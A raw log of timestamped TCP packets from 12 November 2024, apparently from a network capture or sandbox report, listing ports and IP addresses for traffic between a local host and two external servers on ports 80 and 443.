Nov 12, 2024 17:07:28.577970028 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.578020096 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.578063011 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.578298092 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.578346968 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.578396082 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.578439951 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.578459024 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.578496933 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.578522921 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.578533888 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.578547001 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.578556061 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.578572989 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.578589916 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.578640938 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.578679085 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.597004890 CET	443	49738	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:28.597446918 CET	49738	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:28.597466946 CET	443	49738	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:28.597919941 CET	49738	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:28.597924948 CET	443	49738	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:28.620075941 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.620151997 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.620167971 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.620207071 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.621330976 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.621371031 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.621380091 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.621391058 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.621407986 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.621426105 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.622458935 CET	443	49739	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:28.622814894 CET	49739	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:28.622823000 CET	443	49739	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:28.623217106 CET	49739	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:28.623220921 CET	443	49739	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:28.626023054 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.626034021 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.626044989 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.626076937 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.626085997 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.626229048 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.626245022 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.626255989 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.626271963 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.626295090 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.666727066 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.666749001 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.666760921 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.666830063 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.666873932 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.689116955 CET	443	49729	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:28.689260006 CET	443	49729	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:28.689321041 CET	49729	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:28.689429045 CET	49729	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:28.689450026 CET	443	49729	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:28.689461946 CET	49729	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:28.689470053 CET	443	49729	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:28.691965103 CET	49741	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:28.692014933 CET	443	49741	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:28.692085981 CET	49741	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:28.692233086 CET	49741	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:28.692248106 CET	443	49741	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:28.693929911 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.693943024 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.693953037 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.693979025 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.693985939 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.693995953 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.694005013 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.694016933 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.694032907 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.694076061 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.694159031 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.694169998 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.694195032 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.694216013 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.694252014 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.694303036 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.694473982 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.694520950 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.694540024 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.694550991 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.694580078 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.694711924 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.694730043 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.694744110 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.694752932 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.694761992 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.694778919 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.694804907 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.694979906 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.694991112 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.695003986 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.695028067 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.695046902 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.695055962 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.695091963 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.695334911 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.695347071 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.695358992 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.695369005 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.695377111 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.695396900 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.695411921 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.695501089 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.695512056 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.695523024 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.695533037 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.695549011 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.695570946 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.725481033 CET	443	49738	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:28.726044893 CET	443	49738	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:28.726089954 CET	49738	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:28.726138115 CET	49738	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:28.726149082 CET	443	49738	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:28.726162910 CET	49738	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:28.726172924 CET	443	49738	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:28.728754997 CET	49742	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:28.728789091 CET	443	49742	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:28.728854895 CET	49742	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:28.729007959 CET	49742	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:28.729026079 CET	443	49742	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:28.738300085 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.738346100 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.738353014 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.738363981 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.738377094 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.738399029 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.738405943 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.738418102 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.738425016 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.738462925 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.738507032 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.742898941 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.742918968 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.742932081 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.742944956 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.742968082 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.743336916 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.743346930 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.743356943 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.743383884 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.743396997 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.751949072 CET	443	49739	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:28.752259970 CET	443	49739	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:28.752305984 CET	49739	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:28.752347946 CET	49739	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:28.752357006 CET	443	49739	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:28.752367020 CET	49739	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:28.752373934 CET	443	49739	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:28.755062103 CET	49743	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:28.755089045 CET	443	49743	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:28.755158901 CET	49743	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:28.755310059 CET	49743	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:28.755322933 CET	443	49743	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:28.783660889 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.783683062 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.783694983 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.783729076 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.783747911 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.812063932 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.812163115 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.812241077 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.812252045 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.812283039 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.812304020 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.812429905 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.812439919 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.812474012 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.812728882 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.812774897 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.812933922 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.812944889 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.812958002 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.812977076 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.812997103 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.813107967 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.813119888 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.813155890 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.813180923 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.813257933 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.813276052 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.813288927 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.813298941 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.813308001 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.813318968 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.813328028 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.813338995 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.813359976 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.813381910 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.813390970 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.813575983 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.813622952 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.813745975 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.813755989 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.813766956 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.813779116 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.813792944 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.813846111 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.814090014 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.814100027 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.814112902 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.814131021 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.814155102 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.814259052 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.814271927 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.814299107 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.814326048 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.855427027 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.855447054 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.855457067 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.855531931 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.855588913 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.855600119 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.855628967 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.855689049 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.859987974 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.859997988 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.860009909 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.860042095 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.860050917 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.860068083 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.860100031 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.860321045 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.860332966 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.860344887 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.860368013 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.860387087 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.900739908 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.900800943 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.900810003 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.900840998 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.927964926 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.928066969 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.928077936 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.928096056 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.928111076 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.928119898 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.928129911 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.928138018 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.928154945 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.928169012 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.928371906 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.928425074 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.928431988 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.928442001 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.928459883 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.928478003 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.928987980 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.928998947 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.929039001 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.929054022 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.929064989 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.929081917 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.929090023 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.929128885 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.929248095 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.929260015 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.929270029 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.929299116 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.929315090 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.929486990 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.929498911 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.929510117 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.929522991 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.929532051 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.929543018 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.929554939 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.929562092 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.929573059 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.929580927 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.929614067 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.929898024 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.929930925 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.929979086 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.930141926 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.930160999 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.930176020 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.930183887 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.930195093 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.930207968 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.930214882 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.930247068 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.972440004 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.972503901 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.972515106 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.972532988 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.972577095 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.972590923 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.972640991 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.972651958 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.972672939 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.972702980 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.977138042 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.977149963 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.977160931 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.977205992 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.977216005 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.977255106 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.977297068 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.977323055 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.977343082 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.977359056 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.977370024 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.977385998 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.977411985 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.044869900 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.044934988 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.045049906 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.045062065 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.045072079 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.045089006 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.045094013 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.045106888 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.045125008 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.045156956 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.045172930 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.045213938 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.045233965 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.045249939 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.045268059 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.045284033 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.045368910 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.045413971 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.045437098 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.045449018 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.045484066 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.045491934 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.045751095 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.045768976 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.045779943 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.045800924 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.045819044 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.045895100 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.045907021 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.045937061 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.045947075 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.046027899 CET	80	49714	185.215.113.206	192.168.2.6
